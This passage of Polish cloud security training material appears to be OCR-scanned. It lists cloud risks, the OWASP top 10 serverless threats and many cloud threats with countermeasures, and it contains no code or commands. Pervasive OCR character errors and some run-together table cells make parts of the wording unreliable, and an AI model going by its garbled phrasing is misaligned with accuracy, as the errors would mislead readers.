Organizacje muszg zapewni¢ odpowiednig ochrone, gdy zastrzezone dane sg przesytane od
uzytkownika koricowego do centrum danych w chmurze.

Niezabezpieczone dane w tranzycie sg podatne na podstuchiwanie i przechwytywanie.

R7 - Wielu najemcoéw i bezpieczenstwo fizyczne

Technologia chmury wykorzystuje koncepcje multi-tenancy do wspoétdzielenia zasobdw i ustug miedzy
wieloma klientami, takimi jak sie¢, bazy danych.



Nieodpowiednia segregacja logiczna moze prowadzi¢ do ingerencji najemcéw ze swoimi funkcjami
bezpieczenstwa.

R8 — Analiza incydentéw i pomoc kryminalistyczna

W przypadku wystgpienia incydentu bezpieczenstwa badanie aplikacji i ustug hostowanych przez
dostawce ustug w chmurze moze by¢ trudne, poniewaz dzienniki zdarzen sg rozproszone na wielu
hostach i centrach danych zlokalizowanych w kilku krajach i podlegajacych réznym przepisom i
zasadom.

Ze wzgledu na rozproszone przechowywanie logéw w chmurze organy $cigania mogg napotkaé
problemy z odzyskiwaniem danych kryminalistycznych.

R9 - Bezpieczenstwo infrastruktury

Linie bazowe konfiguracji infrastruktury powinny by¢ zgodne z najlepszymi praktykami branzowymi,
poniewaz istnieje ciggte ryzyko ztosliwych dziatan.

Btedna konfiguracja infrastruktury moze umozliwi¢ skanowanie sieci w poszukiwaniu aplikacji i ustug,
ktére sg podatne na ataki, w celu uzyskania informacji, takich jak aktywne nieuzywane porty oraz
domysline hasta i konfiguracje.

R10 - Narazenie srodowiska nieprodukcyjnego A4-XML

Srodowiska nieprodukcyjne sa uzywane do projektowania i opracowywania aplikacji oraz do
testowania dziatan wewnetrznych w organizacji.

Korzystanie ze srodowisk nieprodukcyjnych zwieksza ryzyko nieautoryzowanego dostepu, ujawnienia
informacji i modyfikacji informacji.

OWASP Top 10 zagrozen bezpieczeristwa bezserwerowego

Chociaz przetwarzanie bezserwerowe upraszcza proces wdrazania aplikacji i eliminuje potrzebe
zarzadzania serwerem i sprzetem przez programistow, przenosi rowniez niektore zagrozenia
bezpieczenstwa na dostawcéw ustug w chmurze. Aplikacje bezserwerowe nadal wykonuja kod, a luki
w kodzie mogg otwiera¢ bramy dla réznych atakéw na poziomie aplikacji, takich jak XSS, wstrzykiwanie
strukturalnego jezyka zapytan (SQL), DoS oraz zepsute uwierzytelnianie i autoryzacja; tj. aplikacje
bezserwerowe sg podatne na ten sam typ atakéw, co tradycyjne aplikacje internetowe. Ponizsza tabela
podsumowuje 10 najwiekszych zagrozen bezpieczestwa bezserwerowych wedtug OWASP.

Zagrozenia: Wektor ataku: Stabos¢ zabezpieczen: Wptyw

Al- Wstrzykniecie : Dane wejsciowe pochodzg nie tylko z API, ale takze z funkcji bezserwerowych,
ktére sg wywotywane z réznych zrédet zdarzen, takich jak zdarzenia przechowywania w chmurze (S3
Blob), przetwarzanie danych strumieniowych (AWS Kinesis), modyfikacje baz danych (DynamoDB,
CosmoDB), modyfikacje kodu (AWS CodeCommit ) oraz powiadomienia (SMS, e-mail, loT). ; Zapora
sieciowa nie moze filtrowaé zdarzen generowanych przez poczte e-mail lub baze danych.

Wstrzykiwanie SQL/NoSQL, Wstrzykiwanie poleceri systemu operacyjnego , wWstrzykniecie kodu :



Whptyw zalezy od uprawnien funkcji, ktorej dotyczy luka.; Jesli funkcja ma dostep do magazynu w
chmurze, wstrzykniety kod moze usungc¢ dane lub przesta¢ uszkodzone dane.

A2- Uszkodzone uwierzytelnianie : Funkcje bezserwerowe sg bezstanowe, s3 wykonywane oddzielnie,
majg rézne cele i sg wyzwalane przez rézne zdarzenia.;Atakujacy prébuja zidentyfikowaé brakujgce
zasoby, takie jak otwarte interfejsy APl i pamie¢ masowa w chmurze publicznej.;Jesli funkcje sg
wywolywane za posrednictwem wiadomosci e-mail organizacji, osoby atakujgce mogg wysytac
sfatszowane wiadomosci e-mail w celu uruchomienia funkcji i wykonania funkcji wewnetrznych bez
uwierzytelniania. : Zty projekt kontroli tozsamosci i dostepu : Dostep do funkcji bez uwierzytelnienia
prowadzi do wycieku wrazliwych danych, ztamania logiki biznesowej systemu i zaktécenia przeptywu
wykonywania.

A3 - Ekspozycja danych wrazliwych : Ataki na tradycyjne aplikacje internetowe, takie jak tamanie
kluczy, ataki typu man-in-the-middle (MiTM) oraz ukrywanie danych podczas przesytania i
przechowywania, majg rowniez zastosowanie do aplikacji bezserwerowych. ; Atakujacy atakuja pamiec
masowg w chmurze (S3, Blob) i tabele baz danych (DynamoDB, CosmoDB). : Przechowywanie poufnych
danych w postaci zwyktego tekstu lub przy uzyciu stabego szyfrowania; Zapisywanie danych do
katalogu /tmp bez usuwania po uzyciu : Narazenie wrazliwych danych, takich jak PIl, dokumentacja
medyczna, dane uwierzytelniajgce i dane karty kredytowe;j.

A4 - Jednostki zewnetrzne XML (XXE) : Jesli funkcje bezserwerowe dziatajg w wewnetrznych
wirtualnych sieciach prywatnych (VPN), ataki takie jak skanowanie sieci wewnetrznych i DoS nie sg
mozliwe. ;Te ataki dotyczg tylko wskazanego kontenera, w ktéorym funkcja jest uruchomiona. :
Korzystanie z procesoréw XML moze narazié aplikacje na ataki XXE : Wyciek kodu funkcji i wrazliwych
plikdw (zmienna Srodowiskowa, katalog /tmp itp.)

A5 - Ztamana kontrola dostepu : Bezstanowa natura architektury bezserwerowej umozliwia
atakujacym wykorzystywac nadmiernie uprzywilejowane funkcje w celu uzyskania nieautoryzowanego
dostepu do zasobdéw. : Nadawanie funkcjom dostepu i uprawnien do zbednych zasobdow: Wptyw zalezy
od zagrozonego zasobu. ; Wyciek danych z magazynu w chmurze i bazy danych

A6- Btedna konfiguracja zabezpieczen : Btednie skonfigurowane funkcje z dtugim limitem czasu i
niskim limitem wspdtbieznosci umozliwiajg atakujgcym przeprowadzanie atakéw DoS. : Stabe
zarzadzanie poprawkami; Funkcje o dtugim czasie oczekiwania i niskiej wspdtbieznosci : Wyciek
wrazliwych informacji, utrata pieniedzy, Dos i nieautoryzowany dostep do zasobdw w chmurze

A7- Skrypty miedzywitrynowe (XSS): W tradycyjnych aplikacjach luki w zabezpieczeniach XSS
pochodzg z baz danych lub danych wejsciowych refleksyjnych, ale w aplikacjach bezserwerowych
pochodzg réowniez ze Zzrddet takich jak wiadomosci e-mail, dzienniki, pamie¢ masowa w chmurze, loT
itp. : Niezaufane dane wejsciowe uzywane do generowania danych bez odpowiedniej ucieczki :
Podszywanie sie pod uzytkownika ; Dostep do wrazliwych danych, takich jak klucze API

A8 - Niebezpieczna deserializacja : Jezyki dynamiczne (np. Python, NodelS) wraz z notacjg obiektowa
JavaScript (JSON), serializowanym typem danych, umozliwiajg atakujgcym przeprowadzanie atakow
deserializacji. : Luki w zabezpieczeniach deserializacji w Pythonie, JavaScript itp. : Wptyw zalezy od
wrazliwosci danych obstugiwanych przez aplikacje.; Uruchamianie dowolnego kodu, wyciek danych,
kontrola zasobdw i konta

A9- Uzywanie komponentoéw ze znanymi lukami w zabezpieczeniach : Funkcje bezserwerowe s3
uzywane w mikroustugach, ktérych wykonanie zalezy od bibliotek innych firm. ;Podatne na ataki
biblioteki stron trzecich umozliwiajg atakujgcym uzyskanie punktu wejscia do aplikacji



bezserwerowych.: Brak wiedzy na temat wzorcdw wdrazania komponentéw : Wptyw na biznes zalezy
od specyfikacji znanych luk w zabezpieczeniach.

A10 - Niewystarczajace rejestrowanie i monitorowanie : Ztozone audyty bezserwerowe oraz brak
monitorowania i szybkiej reakcji torujg droge réznym atakom. : Niewystarczajagce monitorowanie i
audyt bezpieczenstwa : Wptyw pdznej identyfikacji incydentdw bezpieczenstwa moze by¢ znaczacy.

Zagrozenia przetwarzania w chmurze
Ponizej omoéwiono niektdre zagrozenia dla przetwarzania w chmurze:
Naruszenie/utrata danych

Niewtasciwie zaprojektowane srodowisko przetwarzania w chmurze z wieloma klientami jest narazone
na wysokie ryzyko naruszenia danych, poniewaz luka w aplikacji jednego klienta moze umozliwi¢
atakujgcym dostep do danych innego klienta. Utrata lub wyciek danych w duzym stopniu zalezy od
architektury i dziatania chmury.

Problemy z utratg danych obejmuja:
o Dane zostang usuniete, zmodyfikowane lub oddzielone (utracone),
o Klucze szyfrujgce zostaty zgubione, zagubione lub skradzione.

o Dane s3 uzyskiwane nielegalnie z powodu niewtasciwego uwierzytelniania, autoryzacji i kontroli
dostepu.

o Dane sg niewtfasciwie wykorzystywane przez CSP.

Srodki zaradcze:

o Szyfruj dane przechowywane w chmurze i przesytane w celu ochrony integralnosci danych,
o Implementuj silne generowanie, przechowywanie i zarzadzanie kluczami,

o Sprawdz ochrone danych zaréwno podczas projektowania, jak i w czasie wykonywania,

o Wymus uwierzytelnianie wielosktadnikowe.

o Regularnie wykonuj bezpieczne kopie zapasowe danych, aby odzyskaé dane po ich utracie,

o Wdréz oprogramowanie zapobiegajgce utracie danych (DLP) w celu wykrywania potencjalnych
zagrozen dla danych.

o Egzekwuj odpowiednie zasady bezpieczenstwa, klasyfikujgc dane zgodnie z poziomami wrazliwosci.

0 Wdréz brokerédw bezpieczeristwa dostepu do chmury (CASB), ktérzy ograniczajg operacje, takie jak
dystrybucja danych przez Internet.

o Zastosuj mikrosegmentacje, aby ograniczy¢ dostep do danych do kilku weztéw sieci,

o Audyt i monitorowanie uprzywilejowanych kont w celu wykrywania i ograniczania naruszen danych.
0 Zastosuj zapore obwodowa do filtrowania pakietéw danych wchodzgcych i wychodzacych z sieci
Naduzycia i niegodziwe korzystanie z ustug w chmurze

Obecnos¢ stabych systemoéw rejestracji w Srodowisku przetwarzania w chmurze moze pozwoli¢
atakujgcym na stworzenie anonimowego dostepu do ustug w chmurze i przeprowadzanie réznych



atakow, takich jak tamanie haset i krytyczne tamanie, budowanie teczowych tabel, rozwigzywanie farm
CAPTCHA, uruchamianie dynamicznych punktéw ataku, hostowanie exploitéw w chmurze platformy,
hostowanie ztosliwych danych, dowodzenie lub kontrola botnetu oraz ataki DDoS.

Srodki zaradcze:

o Wdrozy¢ solidny proces rejestracji i walidacji,

o Monitorowac ruch klientéw pod katem ztosliwych dziatan,

o Monitoruj i blokuj ztosliwe sieci na publicznych czarnych listach.

o Wykorzystaj zaawansowany system monitorowania i koordynacji oszustw zwigzanych z kartami
kredytowymi dla ustug ptatnosci w chmurze.

o Korzystaj z dostawcy ustug w chmurze (CSP) o wysokim poziomie bezpieczeristwa, ktory stale pracuje
nad zapobieganiem naduzyciom w ustugach w chmurze.

o Izoluj uzytkownikéw w tej samej chmurze za pomoca zapdr dla poszczegdlnych dzierzawcéw.
Niebezpieczne interfejsy i interfejsy API

Interfejsy lub interfejsy APl umozliwiajg klientom zarzadzanie ustugami w chmurze i interakcje z nimi.
Modele ustug w chmurze muszg by¢ zintegrowane z zabezpieczeniami, a uzytkownicy muszg by¢
Swiadomi zagrozen bezpieczenstwa zwigzanych z uzytkowaniem, wdrazaniem i monitorowaniem
takich ustug. Ryzyko zwigzane z niezabezpieczonymi interfejsami i interfejsami APl obejmuje:

0 Obchodzi zasady zdefiniowane przez uzytkownika

0 Bez poswiadczen szczelnos¢

o Wtamanie do urzgdzen rejestrujgcych i monitorujgcych

o Nieznane zaleznosci API

o Hasta/tokeny wielokrotnego uzytku

o Niewystarczajgca walidacja danych wejsciowych

Srodki zaradcze:

o Analiza modelu bezpieczenstwa interfejsow dostawcy chmury,

o Wdrozenie bezpiecznego uwierzytelniania i kontroli dostepu.

o Szyfruj przesytane dane i poznaj taricuch zaleznosci zwigzany z interfejsami API.

o Wykorzystaj zorientowane na bezpieczenstwo struktury API, takie jak Open Cloud Computing
Interface (OCCI) i Cloud Infrastructure Management Interface (CIMI).

o Wykorzystaj monitorowanie i analize sieci, aby zapewnié¢ petng widocznos¢ oraz identyfikowad i
ograniczaé zagrozenia bezpieczenstwa API.

o Nigdy nie uzywaj ponownie kluczy API.

o Upewnij sie, ze caty ruch API jest szyfrowany, a wywotania APl sg uwierzytelniane we wszystkich
warstwach.

Niewystarczajaca nalezyta starannos¢



Nieznajomos¢ sSrodowiska chmurowego firmy CSP stwarza ryzyko zwigzane z obowigzkami
operacyjnymi, takimi jak bezpieczenistwo, szyfrowanie, reagowanie na incydenty i inne problemy, takie
jak kwestie kontraktowe, projektowe i architektoniczne.

Srodki zaradcze:

o Organizacje, ktére zamierzajg przenies¢ sie do chmury, muszg doktadnie zbadaé zagrozenia,
przeprowadzi¢ due diligence CSP i dysponowac odpowiednimi zasobami.

o Upewnij sie, ze wszyscy pracownicy zostali przeszkoleni w zakresie standardéw bezpieczenstwa i
konserwacji zasobow.

o Zapewni¢, aby CSP utrzymywat plan reagowania na incydenty (IRP) poprzez zatrudnianie
odpowiednich zespotéw do wdrazania odpowiednich srodkdw bezpieczeristwa podczas kazdego
incydentu.

o Utrzymywanie wtasciwej komunikacji z CSP w zakresie planéw odzyskiwania po awarii, strategii
szyfrowania i zasad bezpieczenstwa.

o Wzmocnienie rygorystycznych zasad bezpieczeristwa, ktérych nalezy przestrzega¢ w zarzadzaniu z
kierownictwem najwyzszego szczebla firmy.

Problemy ze wspdlng technologia

Dostawcy iaaS wspodtdzielg infrastrukture, aby swiadczy¢ ustugi w skalowalny sposéb. Wiekszos¢
bazowych komponentéw infrastruktury (np. GPU, pamieci podreczne procesora) nie oferuje istotnych
wtasciwosci izolacji w srodowisku wielu dzierzawcéw. Umozliwia to atakujgcym atakowanie innych
maszyn, jesli uda im sie wykorzysta¢ luki w aplikacjach jednego klienta. Aby wypetni¢ te luke,
hipernadzorcy wirtualizacji posrednicza w dostepie miedzy systemami operacyjnymi-gosciami a
zasobami fizycznymi, ktére mogg zawieraé luki umozliwiajgce hakerom uzyskanie nieautoryzowanej
kontroli nad podstawowymi platformami.

Srodki zaradcze:
o Wdrazaé najlepsze praktyki bezpieczenstwa dla instalacji/konfiguracji,
o Monitoruj $Srodowisko pod katem nieautoryzowanych zmian/dziatan.

o Promowanie bezpiecznego uwierzytelniania i kontroli dostepu w zakresie dostepu i operacji
administracyjnych.

o Egzekwowanie uméw o poziomie ustug dotyczgcych instalowania poprawek i usuwania luk w
zabezpieczeniach,

o Przeprowadzanie skanowania pod katem luk w zabezpieczeniach i audytéw konfiguracji.
o Wdrazaj $ciste zabezpieczenia na kazdym poziomie infrastruktury chmury, aplikacji i ustug.

o Wykorzystaj zapory obwodowe, oparte na hoscie i poszczegdlnych dzierzawcdéw, aby odizolowaé
ruch dla kazdego uzytkownika w srodowisku chmurowym.

o Ustaw odpowiednie uprawnienia do plikdw, aby upewnié sie, ze dostep do plikéw majg tylko
uzytkownicy lub wtasciciele.

Nieznany profil ryzyka



Aktualizacje oprogramowania, analiza zagrozen, wykrywanie wtaman, praktyki bezpieczenstwa i rézne
inne komponenty okreslajg poziom bezpieczeAstwa organizacji. Organizacje klienckie nie sg w stanie
uzyskaé¢ jasnego obrazu wewnetrznych procedur bezpieczenstwa, zgodnosci z wymogami
bezpieczenstwa, wzmacniania konfiguracji, instalowania poprawek, audytéw i rejestrowania itp.,
poniewaz s mniej zaangazowane w posiadanie i konserwacje sprzetu i oprogramowania w chmurze.
Organizacje musza jednak zdawac sobie sprawe z takich kwestii, jak wewnetrzne procedury
bezpieczenstwa, zgodnos¢ zabezpieczen, wzmacnianie konfiguracji, stosowanie poprawek oraz audyt
i rejestrowanie.

Srodki zaradcze:
o Ujawnienie klientom odpowiednich dziennikéw i danych

o Czesciowe/petne ujawnienie szczegdtdw dotyczacych infrastruktury (np. poziomdw poprawek, zapor
sieciowych)

o Monitorowanie i powiadamianie o niezbednych informacjach
Niezsynchronizowane zegary systemowe

Awaria synchronizacji zegaréw w systemach koncowych moze mieé¢ wptyw na dziatanie
zautomatyzowanych zadan. Na przyktad, jesli urzadzenia do przetwarzania w chmurze nie majg
zsynchronizowanych lub dopasowanych czaséw, niedoktadno$¢ sygnatury czasowej powoduje, ze
administrator sieci nie jest w stanie doktadnie przeanalizowa¢ plikéw dziennika pod katem
jakiejkolwiek ztosliwej aktywnosci. Niezsynchronizowane zegary mogg powodowac rdine inne
problemy; np. w przypadku transakcji pienieznych lub kopii zapasowych bazy danych niedopasowany
znacznik czasu moze spowodowaé powazne problemy lub rozbieznosci.

Srodki zaradcze:
o Uzywaj rozwigzan do synchronizacji zegara, takich jak protokét czasu sieciowego (NTP).

0 Zainstaluj serwer czasu w zaporze organizacji, aby zminimalizowaé zagrozenia z zewnatrz i
zmaksymalizowa¢ doktadnos¢ czasu w sieci.

o Sieciowy system czasu mozna réwniez wykorzysta¢ do synchronizacji zegaréw z serwerem sieci
przedsiebiorstwa.

Nieodpowiednie projektowanie i planowanie infrastruktury

Umowa miedzy CSP a klientem okresla jako$¢ ustug oferowanych przez CSP, takich jak przestoje,
redundancje fizyczne i sieciowe, standardowe procesy tworzenia kopii zapasowych i przywracania
danych oraz okresy dostepnosci. Czasami dostawcy CSP mogg nie zaspokajac szybkiego wzrostu popytu
ze wzgledu na brak zasobow obliczeniowych i/lub ztg konstrukcje sieci (np. ruch przeptywa przez
pojedynczy punkt, mimo ze niezbedny sprzet jest dostepny), powodujgc niedopuszczalne opdznienia
w sieci lub niemoznos¢ dotrzymania uzgodnionych poziomdéw ustug.

Srodki zaradcze:
o Przewidywac zapotrzebowanie i odpowiednio przygotowac¢ odpowiednig infrastrukture.

o Polegaj na niezawodnosci obcigzen i wymaganiach dotyczacych czasu pracy, aby planowac
wykorzystanie chmury.

Konflikty miedzy procedurami utwardzania klienta a Srodowiskiem chmury



Niektére procedury utwardzania klienta mogg kolidowac¢ ze Srodowiskiem CSP, uniemozliwiajac
wdrozenie przez klienta. Poniewaz chmura jest $rodowiskiem obejmujgcym wielu dzierzawcéw,
kolokacja wielu klientéw rzeczywiscie powoduje konflikty u dostawcow ustug w chmurze, poniewaz
wymagania dotyczgce bezpieczenstwa komunikacji mogag sie rozni¢ miedzy klientami.

Srodki zaradcze:
o Ustal jasny podziat obowigzkdw, aby okresli¢ minimalne dziatania, ktére muszg podjgé klienci.

o Upewnij sie, ze organizacja klienta ma odpowiedni wglad w swoje obcigzenia, dane i konta w
chmurze, na ktére ma wptyw problem z Shadow IT.

o Okresowo stosuj testy VAPT w chmurze zaréwno po stronie klienta, jak i CSP.
Utrata dziennikdw operacyjnych i dziennikéw bezpieczenstwa

Utrata dziennikéw operacyjnych utrudnia ocene zmiennych operacyjnych. Mozliwosci rozwigzywania
probleméw s3g ograniczone w przypadku braku danych do analizy. Utrata logéw bezpieczeristwa
stwarza ryzyko dla zarzadzania realizacjg programu zarzadzania bezpieczernstwem informacji. Utrata
dziennikow zabezpieczern moze wystgpi¢ w przypadku niewystarczajgcej aprowizacji magazynu.

Srodki zaradcze:

o Wdrazad skuteczne polityki i procedury,

o Regularnie monitoruj dzienniki operacyjne i bezpieczenstwa,

o Ustanowic i utrzymywac bezpieczny system zarzgdzania dziennikami.

o Dostep do pliku dziennika powinien by¢ ograniczony, a uzytkownicy nie powinni mie¢ mozliwosci
przeprowadzania operacji na plikach dziennika na poziomie plikéw.

o Odpowiednio chroni zarchiwizowane pliki dziennika i wdrazaj bezpieczne protokoty przesytania
danych dziennika z systemu do serwerdw centralnego zarzgdzania dziennikami.

Ztosliwi Insiderzy

Ztosliwi wtajemniczeni to niezadowoleni obecni/byli pracownicy, kontrahenci lub inni partnerzy
biznesowi, ktérzy majg/mieli autoryzowany dostep do zasobdéw w chmurze i mogli celowo przekroczyé
ten dostep lub go niewfasciwie wykorzystaé, aby naruszy¢ poufnosé, integralnos¢ lub dostepnosé
informacji organizacji. Ztosliwi wtajemniczeni, ktérzy majg autoryzowany dostep do zasobdéw w
chmurze, moga naduzywac tego dostepu, aby naruszy¢ bezpieczeristwo informacji dostepnych w
chmurze. Zagrozenia obejmujg utrate reputacji, produktywnosci i kradziez finansowa.

Srodki zaradcze:
o Egzekwowad sciste zarzgdzanie taricuchem dostaw i przeprowadzac kompleksowg ocene dostawcow.
o Okresl wymagania dotyczgce zasobow ludzkich w ramach uméw prawnych.

o Wymagaj przejrzystosci ogdlnych praktyk w zakresie bezpieczenistwa informacji i zarzadzania oraz
raportowania zgodnosci.

o Okresl procesy powiadamiania o naruszeniu bezpieczeristwa.

Nielegalny dostep do chmury



Stabe uwierzytelnianie i kontrole autoryzacji mogg prowadzi¢ do bezprawnego dostepu, a tym samym
do narazenia na szwank poufnych i krytycznych danych przechowywanych w chmurze.

Srodki zaradcze:
o Egzekwowac i przestrzegad solidnej polityki bezpieczenstwa informacji (IS),

o Zezwalaj klientom na przeprowadzanie audytéw/przegladéw zasad i procedur Sl stosowanych przez
dostawcow CSP.

o Utrata reputacji biznesowej z powodu dziatan wspdtnajemcow

Zagrozenie to powstaje z powodu braku izolacji zasobdw i reputacji, podatnosci w hiperwizorach itp.
Zasoby sg wspoétdzielone w chmurze, wiec ztosliwa aktywnosc¢ jednego wspétdzierzawcy moze wptyngé
na reputacje drugiego, skutkujgc niskg jakoscig ustug, utrata danych itp., ktdre obnizajg reputacje
organizacji. Srodki zaradcze:

o Wybierz dobrze znanego i wydajnego CSP, aby zmniejszyc¢ ryzyko i zapewnic izolacje zasobow.
o Sprawdz techniki wirtualizacji i izolacji stosowane przez CSP.

o Ocena ryzyka zwigzanego z architekturg wielodostepng,

0 CSP muszg rozdzieli¢ funkcje miedzy najemcow.

Eskalacja przywilejow

Btedy w systemie przydzielania dostepu, takie jak btedy w kodowaniu i wady projektowe, moga
spowodowac, ze klient, strona trzecia lub pracownik uzyskajg wiecej praw dostepu niz jest to
wymagane. Zagrozenie to powstaje z powodu luk w zabezpieczeniach zwigzanych z uwierzytelnianiem,
autoryzacjg i odpowiedzialnoscig, aprowizacji uzytkownikdw i anulowania aprowizacji, luk hiperwizora,
niejasnych rél i obowigzkéw, btednej konfiguracji itp.

Srodki zaradcze:
o Zastosuj dobry schemat rozdziatu uprawnien.

o Regularnie aktualizuj oprogramowanie, aby naprawi¢ nowo wykryte luki w zabezpieczeniach
zwigzane z eskalacjg uprawnien, jesli takie istnieja.

o Regularnie kontroluj wszystkie przepisy i role dotyczace zarzadzania tozsamoscia i dostepem (1AM)
skonfigurowane w sSrodowiskach ustug w chmurze.

0 Za pomocg standardowych skanerdw sieciowych i narzedzi do zapytan dotyczacych bezpieczenstwa,
takich jak Shodan, skanuj srodowisko w poszukiwaniu odstonietych interfejséw APl i monitoruj ustugi
w chmurze pod katem podejrzanego ruchu sieciowego lub zachowan uzytkownikow.

Kleski zywiotowe

Ze wzgledu na potozenie geograficzne i klimat centra danych mogga by¢ narazone na kleski zywiotowe,
takie jak powodzie, wytadowania atmosferyczne i trzesienia ziemi, ktére mogg mieé wptyw na ustugi
w chmurze.

Srodki zaradcze:

o Upewnij sie, ze organizacja znajduje sie w bezpiecznym miejscu,



o Utrzymuj kopie zapasowe danych w rdznych lokalizacjach.

o Wdrozenie $rodkéw fagodzgcych, ktdre pomogy zmniejszy¢ lub wyeliminowac diugoterminowe
ryzyko zwigzane z kleskami zywiotowymi.

o Przygotuj skuteczng ciggtosé biznesowa i plan odzyskiwania po awarii.
Awaria sprzetu

Awarie sprzetu, takiego jak przetaczniki, serwery, routery, punkty dostepowe, dyski twarde, karty
sieciowe i procesory w centrach danych, mogg uniemozliwi¢ dostep do danych w chmurze. Wiekszos¢
awarii sprzetu wynika z probleméw z dyskiem twardym. Sledzenie i naprawianie awarii dysku twardego
zajmuje duzo czasu ze wzgledu na ich niski poziom ztozonosci. Awaria sprzetu moze prowadzi¢ do
niskiej wydajnosci dostarczanej uzytkownikom koricowym i szkodzi¢ firmie.

Srodki zaradcze:

o wdrazad i utrzymywac programy bezpieczenstwa fizycznego,

o Wstepnie zainstalowane rezerwowe urzgdzenia sprzetowe sg obowigzkowe,

o Zautomatyzuj proces identyfikacji i tworzenia kopii zapasowych wymaganych danych,

0 Zapewnij nadmiarowe komponenty obcigzenia, aby unikng¢ pojedynczego punktu awarii.
Awaria taricucha dostaw

Awaria tancucha dostaw moze by¢ spowodowana niekompletnymi i nieprzejrzystymi warunkami
uzytkowania, ukrytymi zaleznosciami tworzonymi przez aplikacje cross-cloud, niewtasciwym doborem
CSP, brakiem redundancji dostawcéw itp. Dostawcy chmury zlecajg niektére zadania podmiotom
zewnetrznym. Tym samym bezpieczenstwo chmury jest wprost proporcjonalne do bezpieczenstwa
kazdego facza i stopnia zaleznosci od stron trzecich. Zaktdcenie w faricuchu moze prowadzi¢ do utraty
prywatnosci i integralnosci danych, niedostepnosci ustug, naruszenia umowy SLA, strat ekonomicznych
i reputacyjnych spowodowanych niespetnieniem wymagan klientéw oraz niepowodzen kaskadowych.

Srodki zaradcze:
o Zdefiniuj zestaw kontroli w celu ograniczenia ryzyka zwigzanego z tancuchem dostaw.

o Opracuj plan powstrzymywania, aby ograniczy¢ szkody spowodowane niepowodzeniem zaufanego
kontrahenta.

o Twérz mechanizmy widocznosci w celu wykrywania naruszonych elementéw taricucha dostaw.

o Rozwazy¢ pozyskanie stron trzecich, ktére oferujg informacje na temat stanu bezpieczenstwa
kontrahentow.

0 Zatrudnij oddany zespot wykwalifikowanych specjalistdw do zabezpieczania $rodowiska
chmurowego przed atakami powodujgcymi awarie taricucha dostaw.

o Uzywaj zaawansowanych technologii walidacji, takich jak technologia blockchain i Hyperledger, aby
zachowac niezawodno$¢ i autentycznosc tancucha dostaw dla wszelkich modyfikacji.

o Wdrazaj zaawansowane zasady bezpieczenstwa, takie jak podpisy cyfrowe, uwierzytelnianie
wielosktadnikowe (MFA) i bezpieczne zarzgdzanie sesjami dla kluczowych transakcji finansowych w
taiicuchu dostaw.



0 Zastosuj architekture zerowego zaufania do monitorowania kazdego tgcza komunikacyjnego pod
katem podejrzanych dziatan i zapewnienia odpowiedniego bezpieczeristwa w catym taricuchu dostaw.

Modyfikowanie ruchu sieciowego

W chmurze ruch sieciowy moze ulec zmianie z powodu btedéw podczas udostepniania lub anulowania
udostepniania sieci lub luk w zabezpieczeniach szyfrowania komunikacji. Modyfikacja ruchu
sieciowego moze spowodowac utrate, zmiane lub kradziez poufnych danych i komunikacji.

Srodek zaradczy:

o Wykonaj analize ruchu sieciowego za pomoca specjalnych narzedzi, aby znalezé ewentualne
nieprawidtowosci.

Btad izolacji

Wielodostepnos¢ i wspdlne zasoby to cechy przetwarzania w chmurze. Brakuje silnej izolacji lub
podziatu magazynu, pamieci, routingu i reputacji wsrdéd rdéinych dzierzawcéw. Z powodu
niepowodzenia izolacji atakujgcy prébujg kontrolowac operacje innych klientéw chmury, aby uzyskac
nielegalny dostep do danych.

Srodek zaradczy:
Konieczne jest izolowanie pamieci, pamieci masowej i dostepu do sieci.
Przejecie dostawcy ustug w chmurze

Przejecie CSP moze zwiekszy¢ prawdopodobieristwo zmiany taktyki i wptynaé na ryzyko niewigzacych
porozumien. Moze to stanowi¢ wyzwanie przy spetnianiu wymogdw bezpieczenistwa.

Srodki zaradcze:

o Badz taktowny przy wyborze dostawcy ustug w chmurze; preferuj renomowanego i popularnego CSP,
aby wyeliminowac ryzyko.

o Uwaznie weryfikuj polityki danych oferowane przez CSP,
o Przejrzyj mozliwosci bezpieczeristwa CSP.

o Upewnij sie, ze umowy o gwarantowanym poziomie ustug (SLA) zawierajg informacje o celach misji,
miarach sukcesu, gromadzeniu danych i miarach.

Naruszenie interfejsu zarzadzania

Interfejsy zarzadzania klientami dostawcéw chmury utatwiajg dostep do duzej liczby zasobdéw przez
Internet. Zwieksza to zagrozenia bezpieczenstwa, szczegdlnie w potaczeniu ze zdalnym dostepem i
lukami w zabezpieczeniach przegladarki internetowej. Kompromitacja interfejsu zarzagdzania wynika z
niewtfasciwej konfiguracji, luk w zabezpieczeniach systemu i aplikacji, zdalnego dostepu do interfejsu
zarzadzania itp.

Srodki zaradcze:
o Niezbedne jest izolowanie pamieci, pamieci masowej i dostepu do sieci,
o Korzystaj z bezpiecznych protokotéw w celu fagodzenia zagrozen zwigzanych ze zdalnym dostepem,

o Regularnie aktualizuj faty, aby zapobiega¢ lukom w zabezpieczeniach przegladarki internetowej,



o Wdrdz dedykowang wirtualng sie¢ lokalng (VLAN) dla interfejséw na poziomie zarzadczym
odizolowanych od sieci firmowej.

o Zapewnij rygorystyczne srodki bezpieczenstwa i skoncentruj sie na interfejsach wymagajgcych
publicznego dostepu przez niezaufane sieci, wykorzystujgc serwery przesiadkowe.

Btfad zarzadzania siecig

Stabe zarzadzanie siecig prowadzi do przecigzenia sieci, nieprawidtowego potaczenia, btednej
konfiguracji, braku izolacji zasobow itp., ktére wptywajg na ustugi i bezpieczenstwo.

Srodki zaradcze:

0 Zapewnienie wdrozenia odpowiedniej polityki bezpieczenstwa,

o Uzywaj proaktywnych technik zarzadzania siecia.

o Aktualizuj nowe technologie i analizuj, co moze lepiej dziata¢ w Twojej organizacji.

o Upewnij sie, ze projekt sieci i konfiguracje systemu sg zgodne z zasadami tadu informatycznego i
odpowiadajg wymaganiom organizacji dotyczgcym ustug i wydajnosci.

o Wdrozy¢ rygorystyczne monitorowanie sieci i analize ruchu ze wszystkich typow faczy
zabezpieczonych i niezabezpieczonych.

o Upewnij sie, ze caty ruch sieciowy miedzy Wi-Fi a siecig firmowa jest przekazywany przez
zabezpieczong sie¢ VPN.

o Uzyj narzedzi do monitorowania bezpieczenstwa sieci w chmurze, aby uzyskac lepszy wglad w
korporacyjng sie¢ chmurowa wdrozong poza granicami sieci.

Ataki uwierzytelniajace

Stabe mechanizmy uwierzytelniania (stabe hasta, ponowne uzycie hasta itp.) oraz nieodtgczne
ograniczenia mechanizméw uwierzytelniania jednosktadnikowego umozliwiajg atakujagcym uzyskanie
nieautoryzowanego dostepu do systemow przetwarzania w chmurze.

Srodki zaradcze:
o Wdrazaj silne zasady dotyczgce haset, aby zapewni¢ bezpieczeristwo haset,
o Wymus uwierzytelnianie dwusktadnikowe tam, gdzie jest to wymagane.

